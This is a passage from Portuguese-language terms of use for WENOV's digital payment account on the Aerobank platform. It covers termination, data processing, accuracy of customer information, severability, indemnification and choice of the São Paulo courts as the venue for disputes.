12.1. Estes Termos de Uso e a Política de Privacidade WENOV permanecerão válidos por prazo indeterminado a partir do aceite do CLIENTE, podendo ser rescindidos unilateralmente por qualquer das partes a qualquer tempo, sem qualquer ônus, mediante simples comunicação por meio de acesso através da Plataforma Aerobank ou de mensagem para o e-mail indicado no Cadastro do CLIENTE.

12.2. Para solução de eventuais conflitos relacionados a este Termo de Uso, para pedidos de cancelamento, encerramento, rescisão, reclamação e sugestões, o Cliente poderá entrar em contato com a WENOV através do telefone xxxxx (disponível de Segunda a Sexta das 08h00 às 20h00 e Sábado das 08h00 às 14h00), e e-mail atendimento@wenov.vc.

12.3. Estes Termos de Uso serão terminados imediatamente com relação ao CLIENTE, independentemente de notificação, interpelação judicial ou extrajudicial, na hipótese de falência, recuperação extrajudicial ou insolvência de qualquer das partes, decretada ou requerida e nas seguintes hipóteses:

a) Caso o CLIENTE deixe de cumprir qualquer das cláusulas dispostas em qualquer dos documentos que compõem estes Termos de Uso e Política de Privacidade WENOV;

b) Se o CLIENTE praticar ou tentar praticar quaisquer atos com a finalidade de realizar transações consideradas ilegítimas, ilícitas, fraudulentas ou que pretendam burlar estes Termos de Uso, bem como quaisquer regras ou requisitos operacionais ou de segurança da WENOV. Nesse caso, o CLIENTE será, ainda, responsável por eventuais perdas e danos incorridos pela WENOV e/ou terceiros;

c) Caso o CLIENTE venha a comprometer, por qualquer forma, a imagem da WENOV e/ou das empresas pertencentes ao grupo econômico que a integra;

d) Se qualquer das informações prestadas pelo CLIENTE não corresponderem com a verdade ou não forem atualizadas nos prazos previstos nestes Termos de Uso;

e) Caso a Conta Digital de Pagamento permaneça sem saldo por período superior a 180 (cento e oitenta) dias.

12.4. O encerramento da Conta Digital de Pagamento está condicionado ao resgate total dos recursos. Caso ocorra o encerramento imediato da Conta Digital de Pagamento do CLIENTE por parte da WENOV, o CLIENTE deverá enviar seus dados bancários o quanto antes para a devolução dos recursos depositados, deduzidos eventuais tarifas devidas pelo CLIENTE a WENOV.

XII. TRATAMENTO DE DADOS

13.1. A WENOV realiza o tratamento dos Dados Pessoais do CLIENTE de acordo com a sua Política de Privacidade WENOV com a qual o CLIENTE consentiu, a qual pode ser consultada a qualquer momento na plataforma Aerobank .

XIII. DISPOSIÇÕES GERAIS

14.1. Veracidade da Informação. O CLIENTE declara que todas as informações fornecidas no momento da abertura de sua Conta Digital de Pagamento e de sua ativação são verídicas.O CLIENTE manterá a WENOV sempre informada a respeito de quaisquer alterações nos seus dados cadastrais. Será de sua inteira responsabilidade todas as consequências decorrentes do descumprimento dessa obrigação. Além disso, a WENOV discricionariamente poderá solicitar a atualização de seus dados sempre que entender necessário ou quando a legislação vigente aplicável assim exigir. A WENOV poderá realizar o bloqueio temporário da sua Conta de Pagamento Digital caso entenda que não houve o cumprimento das obrigações previstas nesta cláusula.

14.2. Independência das Partes. Nada neste Termo de Uso poderá ser considerado ou interpretado pelas Partes, nem por terceiros como a criação de uma relação de empregador e empregado, de mandante e agente, de sociedade ou de joint venture entre as Partes ou qualquer dos seus respectivos agentes, diretores e empregados. As Partes são contratantes independentes.

14.3. Independência das Disposições. Caso qualquer disposição destes Termos de Uso ou da Política de Privacidade WENOV venha a ser considerada ilegal, nula ou inexequível por qualquer razão, as disposições restantes não serão afetadas, permanecendo válidas e aplicáveis na máxima extensão possível.

14.4. Acordo Integral. Estes Termos de Uso e a Política de Privacidade WENOV constituem a totalidade do acordo sobre as condições de uso da Conta Digital de Pagamento. O CLIENTE declara ter ciência dos direitos e obrigações decorrentes dos presentes Termos de Uso e da Política de Privacidade WENOV, tendo lido, compreendido e aceito todos os termos e condições neles inseridos.

14.5. Renúncia; Aditamento. Qualquer lapso da WENOV para impor ou exercer qualquer direito, prerrogativa ou faculdade assegurados por estes Termos de Uso pela Política de Privacidade WENOV ou pela legislação, incluindo direitos conexos, não constitui renúncia a esse direito, prerrogativa ou faculdade.

14.6. Ações adicionais. Caso a WENOV venha a sofrer ou suportar qualquer perda e/ou prejuízo, por culpa ou dolo do CLIENTE, ficará este obrigado a ressarcí-la de tais valores, incluindo, mas sem se limitar a despesas relacionadas a custas administrativas e/ou judiciais, taxas, emolumentos e honorários advocatícios, penalidades e multas que venham a ser aplicadas à WENOV, devidamente atualizados de acordo com a variação do IPCA/IBGE ou índice que vier a substituí-lo.

14.7. Responsabilidade Fiscal. A responsabilidade fiscal e tributária pelas transações será de exclusiva responsabilidade do CLIENTE, conforme definido pela legislação tributária.

14.8. Subsistência das Disposições. Se qualquer dos termos, cláusulas ou condições constantes destes Termos de Uso vier a se tornar ineficaz ou inexequível, a validade e a exequibilidade das demais não será afetada.

14.9. Disponibilidade do Termo de Uso. O presente Termo de Uso está integralmente disponível para consulta na Plataforma Aerobank.

14.10. Foro. Estes Termos de Uso serão regidos e interpretados de acordo com as Leis da República Federativa do Brasil e são extensivos e obrigatórios à WENOV e ao CLIENTE que se responsabilizam pelo fiel cumprimento de todas as suas disposições, ficando eleito o foro da Comarca de São Paulo, Estado de São Paulo, como competente para dirimir quaisquer questões oriundas destes Termos, com exclusão de qualquer outro, por mais privilegiado que seja.

DECLARO QUE li, entendi e concordei com as disposições previstas neste Termo de Uso, inclusive com a cláusula 13.1 referente ao tratamento dos meus Dados Pessoais.